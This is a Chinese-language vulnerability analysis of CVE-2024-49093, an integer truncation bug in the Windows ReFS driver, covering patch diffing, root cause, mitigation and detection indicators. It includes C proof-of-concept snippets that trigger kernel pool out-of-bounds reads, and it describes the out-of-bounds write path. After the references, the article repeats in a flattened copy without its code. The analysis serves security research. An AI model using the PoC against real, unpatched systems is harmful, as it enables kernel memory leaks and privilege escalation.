CVE-2024-49093(ReFS漏洞分析)
字数 2807 2025-10-13 22:56:21

CVE-2024-49093:ReFS 文件系统内核漏洞分析与利用教学

1. 漏洞概述

CVE-2024-49093 是 Microsoft Resilient File System (ReFS) 中的一个内核漏洞,属于数值类型转换不当(CWE-681)类别。该漏洞存在于 refs.sys 驱动中,允许攻击者通过特制的文件操作实现内核池的越界读取和写入,可能进一步导致权限提升或系统崩溃。

受影响版本:Windows 11 24H2 (Build 26100) 至 26100.2454
已修复版本:KB5048667 补丁(Build 26100.2605 及更高版本)

2. 背景知识:ReFS 基础

2.1 ReFS 核心特性

  • 弹性文件系统 (Resilient File System):Microsoft 开发的现代文件系统,专注于数据可用性、大规模数据扩展性和完整性。
  • 写时复制 (Copy-on-Write, COW):数据更新时不就地修改,而是创建新副本,旧数据保持不变直至新数据提交。
  • B+ 树结构:内部使用称为 "MinStore B+" 的 B+ 树变种组织大多数对象(键值表形式)。

2.2 常驻 vs 非常驻属性

  • 常驻属性 (Resident):当文件属性(如数据、ACL等)较小时可内联存储在记录中。
  • 非常驻属性 (Non-resident):较大属性由 VCN→LCN 运行列表(runlist)描述其在磁盘上的范围。
  • 常驻阈值:默认约为 2 KiB(0x800 字节),超过此值将触发从常驻到非常驻的转换。

3. 漏洞定位与成因

3.1 补丁分析

通过对比补丁前后 refs.sys 版本(26100.2454 vs 26100.2605),发现新增两个函数:

  • Feature_4213557561__private_IsEnabledDeviceUsageNoInline() (WIL风格特性开关)
  • RefsAddAllocationForResidentWrite() (受开关管控的函数)

3.2 漏洞根因

RefsAddAllocationForResidentWrite 函数中,存在64位到32位的错误截断

有补丁分支(正确):

QuadPart = ranges->end.QuadPart; // 使用64位值
v23.AllocationSize.QuadPart = QuadPart;
v23.FileSize.QuadPart = QuadPart;

无补丁分支(存在漏洞):

LowPart = ranges->end.LowPart; // 错误地使用低32位
v23.AllocationSize.QuadPart = LowPart; // 截断赋值
v23.FileSize.QuadPart = LowPart;

当写入操作的末端位置(offset + size)超过 4GiB 时,高32位被丢弃,仅低32位用于后续的常驻阈值检查和文件尺寸更新。

4. 漏洞利用详解

4.1 利用条件

要触发此漏洞,需要满足两个关键条件:

  1. 写入末端跨4GiB边界(offset + size) 的高32位不为零
  2. 低32位小于常驻阈值(offset + size) & 0xFFFFFFFF < 0x800

4.2 PoC 代码示例

HANDLE h = CreateFileW(
    L"R:\\exploit_file",
    GENERIC_READ | GENERIC_WRITE,
    FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
    NULL,
    CREATE_ALWAYS,
    FILE_ATTRIBUTE_NORMAL | FILE_FLAG_NO_BUFFERING, // 非缓存I/O
    NULL);

DWORD written = 0;
BYTE buffer[0x200];
OVERLAPPED ov = {};
ov.Offset = 0;      // 低32位
ov.OffsetHigh = 1;  // 高32位=1,使写入末端 > 4GiB

WriteFile(h, buffer, sizeof(buffer), &written, &ov);

4.3 不一致状态创建

成功执行后,文件处于不一致状态:

  • AllocationSize = 0x200 (实际分配大小)
  • FileSize/EndOfFile = 0x100000200 (声明的文件大小)

这种 AllocationSize ≪≪ FileSize 的不一致是后续利用的基础。

5. 越界读 (OOB Read) 利用

5.1 利用原理

当读取长度超过实际分配大小时,RefsNonCachedResidentRead 函数:

  1. 通过 MsFindRow 在 MinStore B+ 表中查找常驻属性记录
  2. 使用 CmsRowWithBuffer::CopyRow 将记录复制到内核池缓冲区
  3. 执行 memmove(user_buffer, kernel_buffer, read_length) 将数据复制到用户空间

由于内核池缓冲区实际大小仅为 0x200-0x600 字节,但读取长度可达 0x1000,导致复制时读取池缓冲区之后的数据。

5.2 越界读示例

// 续前PoC代码
DWORD readBytes = 0x1000;
BYTE* readBuffer = (BYTE*)VirtualAlloc(NULL, readBytes, MEM_COMMIT, PAGE_READWRITE);
DWORD bytesRead = 0;
OVERLAPPED readOv = {};
readOv.Offset = 0;
readOv.OffsetHigh = 0;

ReadFile(h, readBuffer, readBytes, &bytesRead, &readOv);
// 此时 readBuffer[0x200] 之后包含内核池数据

6. 越界写 (OOB Write) 利用

6.1 利用原理

越界写需要更复杂的操作链:

  1. 首次写入:写入 0x200 字节数据(保持常驻)
  2. 触发漏洞:通过漏洞将 AllocationSize 截断为 0
  3. 再次写入:写入较大数据(如 0x700),触发 RefsConvertToNonResident
  4. 转换过程
    • 计算目标大小:allocate_size = 0(因 AllocationSize=0)
    • 分配池内存:仅分配最小块(0x20 字节)
    • 数据迁移:将原始数据(0x200-0x700 字节)复制到小缓冲区

6.2 关键函数调用栈

RefsConvertToNonResident
  → RefsInitializeScbAttributeKey
  → MsUpdateMetaRow
    → CmsBPlusTable::UpdateInIndex

6.3 越界写效果

最终在仅 0x20 字节的池缓冲区上执行最多 0x7F0 字节的写入,实现内核池越界写。

7. 技术细节深度分析

7.1 关键数据结构

struct READ_RANGE {
    LARGE_INTEGER offset;    // 写入偏移
    LARGE_INTEGER end;       // 写入末端 (offset + size)
    LARGE_INTEGER size;      // 写入长度
};

struct CmsRowWithBuffer {
    _CmsRow row;             // 键值行
    BYTE* storage;           // 存储指针
    INT8 flags;              // 标志位
    INT32 capacity;          // 容量
    INT8 inline_storage[32]; // 内联存储
};

7.2 池分配机制

CmsRowWithBuffer::CopyRow 中:

if (required_size > cmsBuffer->capacity) {
    new_size = 8 * ((required_size + 7) / 8); // 8字节对齐
    new_pool = ExAllocatePoolWithTag(PagedPool, new_size, 'iPSM');
    // ... 替换 storage 指针
}

漏洞利用中,此机制被用于分配不匹配的缓冲区大小。

7.3 常驻阈值检查

修复前的错误检查:

// 错误:仅使用低32位进行阈值检查
if (LowPart >= 0x800) {
    RefsConvertToNonResident(...);
}

8. 漏洞修复方案

微软通过特性开关而非直接修改逻辑的方式修复:

  1. 添加 Feature_4213557561__private_IsEnabledDeviceUsageNoInline() 检测
  2. 在启用新特性时使用正确的64位比较:
    if (ranges->end.QuadPart > 0x20000) // 使用完整64位值
    
  3. 确保始终使用 QuadPart 而非 LowPart 进行大小比较和赋值

9. 缓解措施与检测建议

9.1 临时缓解

  • 禁用 ReFS 文件系统(如无需使用)
  • 启用驱动保护(但可能影响PoC测试)

9.2 检测指标

  • 异常文件操作:创建大量末端 >4GiB 但内容很小的文件
  • 特定错误代码:0xC0000427、0xC00000BB、0xC00000D8
  • 内核池分配标签:'iPSM' 异常分配模式

10. 总结与启示

CVE-2024-49093 展示了内核开发中数值类型处理的重要性:

  1. 始终使用适当位宽:在可能超过32位的场景中坚持使用64位运算
  2. 防御性编程:对来自用户空间的数据进行严格验证
  3. COW文件系统复杂性:写时复制机制增加了状态管理复杂度
  4. 分层修复策略:特性开关允许可控的修复回滚

此漏洞需要结合池风水、对象布局等高级利用技术才能实现稳定利用,但基本原理已为内核安全研究提供了重要参考。

参考文献

  1. Microsoft Security Guidance: CVE-2024-49093
  2. ReFS Documentation: https://github.com/libyal/libfsrefs
  3. Windows Internals, 7th Edition, Microsoft Press
  4. Winbindex: https://winbindex.m417z.com/
CVE-2024-49093:ReFS 文件系统内核漏洞分析与利用教学 1. 漏洞概述 CVE-2024-49093 是 Microsoft Resilient File System (ReFS) 中的一个内核漏洞,属于 数值类型转换不当 (CWE-681)类别。该漏洞存在于 refs.sys 驱动中,允许攻击者通过特制的文件操作实现 内核池的越界读取和写入 ,可能进一步导致权限提升或系统崩溃。 受影响版本 :Windows 11 24H2 (Build 26100) 至 26100.2454 已修复版本 :KB5048667 补丁(Build 26100.2605 及更高版本) 2. 背景知识:ReFS 基础 2.1 ReFS 核心特性 弹性文件系统 (Resilient File System):Microsoft 开发的现代文件系统,专注于数据可用性、大规模数据扩展性和完整性。 写时复制 (Copy-on-Write, COW):数据更新时不就地修改,而是创建新副本,旧数据保持不变直至新数据提交。 B+ 树结构 :内部使用称为 "MinStore B+" 的 B+ 树变种组织大多数对象(键值表形式)。 2.2 常驻 vs 非常驻属性 常驻属性 (Resident):当文件属性(如数据、ACL等)较小时可内联存储在记录中。 非常驻属性 (Non-resident):较大属性由 VCN→LCN 运行列表(runlist)描述其在磁盘上的范围。 常驻阈值 :默认约为 2 KiB(0x800 字节),超过此值将触发从常驻到非常驻的转换。 3. 漏洞定位与成因 3.1 补丁分析 通过对比补丁前后 refs.sys 版本(26100.2454 vs 26100.2605),发现新增两个函数: Feature_4213557561__private_IsEnabledDeviceUsageNoInline() (WIL风格特性开关) RefsAddAllocationForResidentWrite() (受开关管控的函数) 3.2 漏洞根因 在 RefsAddAllocationForResidentWrite 函数中,存在 64位到32位的错误截断 : 有补丁分支 (正确): 无补丁分支 (存在漏洞): 当写入操作的末端位置( offset + size )超过 4GiB 时,高32位被丢弃,仅低32位用于后续的常驻阈值检查和文件尺寸更新。 4. 漏洞利用详解 4.1 利用条件 要触发此漏洞,需要满足两个关键条件: 写入末端跨4GiB边界 : (offset + size) 的高32位不为零 低32位小于常驻阈值 : (offset + size) & 0xFFFFFFFF < 0x800 4.2 PoC 代码示例 4.3 不一致状态创建 成功执行后,文件处于不一致状态: AllocationSize = 0x200 (实际分配大小) FileSize/EndOfFile = 0x100000200 (声明的文件大小) 这种 AllocationSize ≪≪ FileSize 的不一致是后续利用的基础。 5. 越界读 (OOB Read) 利用 5.1 利用原理 当读取长度超过实际分配大小时, RefsNonCachedResidentRead 函数: 通过 MsFindRow 在 MinStore B+ 表中查找常驻属性记录 使用 CmsRowWithBuffer::CopyRow 将记录复制到内核池缓冲区 执行 memmove(user_buffer, kernel_buffer, read_length) 将数据复制到用户空间 由于内核池缓冲区实际大小仅为 0x200-0x600 字节,但读取长度可达 0x1000,导致复制时读取池缓冲区之后的数据。 5.2 越界读示例 6. 越界写 (OOB Write) 利用 6.1 利用原理 越界写需要更复杂的操作链: 首次写入 :写入 0x200 字节数据(保持常驻) 触发漏洞 :通过漏洞将 AllocationSize 截断为 0 再次写入 :写入较大数据(如 0x700),触发 RefsConvertToNonResident 转换过程 : 计算目标大小: allocate_size = 0 (因 AllocationSize=0) 分配池内存:仅分配最小块(0x20 字节) 数据迁移:将原始数据(0x200-0x700 字节)复制到小缓冲区 6.2 关键函数调用栈 6.3 越界写效果 最终在仅 0x20 字节的池缓冲区上执行最多 0x7F0 字节的写入,实现内核池越界写。 7. 技术细节深度分析 7.1 关键数据结构 7.2 池分配机制 在 CmsRowWithBuffer::CopyRow 中: 漏洞利用中,此机制被用于分配不匹配的缓冲区大小。 7.3 常驻阈值检查 修复前的错误检查: 8. 漏洞修复方案 微软通过特性开关而非直接修改逻辑的方式修复: 添加 Feature_4213557561__private_IsEnabledDeviceUsageNoInline() 检测 在启用新特性时使用正确的64位比较: 确保始终使用 QuadPart 而非 LowPart 进行大小比较和赋值 9. 缓解措施与检测建议 9.1 临时缓解 禁用 ReFS 文件系统(如无需使用) 启用驱动保护(但可能影响PoC测试) 9.2 检测指标 异常文件操作:创建大量末端 >4GiB 但内容很小的文件 特定错误代码:0xC0000427、0xC00000BB、0xC00000D8 内核池分配标签:'iPSM' 异常分配模式 10. 总结与启示 CVE-2024-49093 展示了内核开发中数值类型处理的重要性: 始终使用适当位宽 :在可能超过32位的场景中坚持使用64位运算 防御性编程 :对来自用户空间的数据进行严格验证 COW文件系统复杂性 :写时复制机制增加了状态管理复杂度 分层修复策略 :特性开关允许可控的修复回滚 此漏洞需要结合池风水、对象布局等高级利用技术才能实现稳定利用,但基本原理已为内核安全研究提供了重要参考。 参考文献 Microsoft Security Guidance: CVE-2024-49093 ReFS Documentation: https://github.com/libyal/libfsrefs Windows Internals, 7th Edition, Microsoft Press Winbindex: https://winbindex.m417z.com/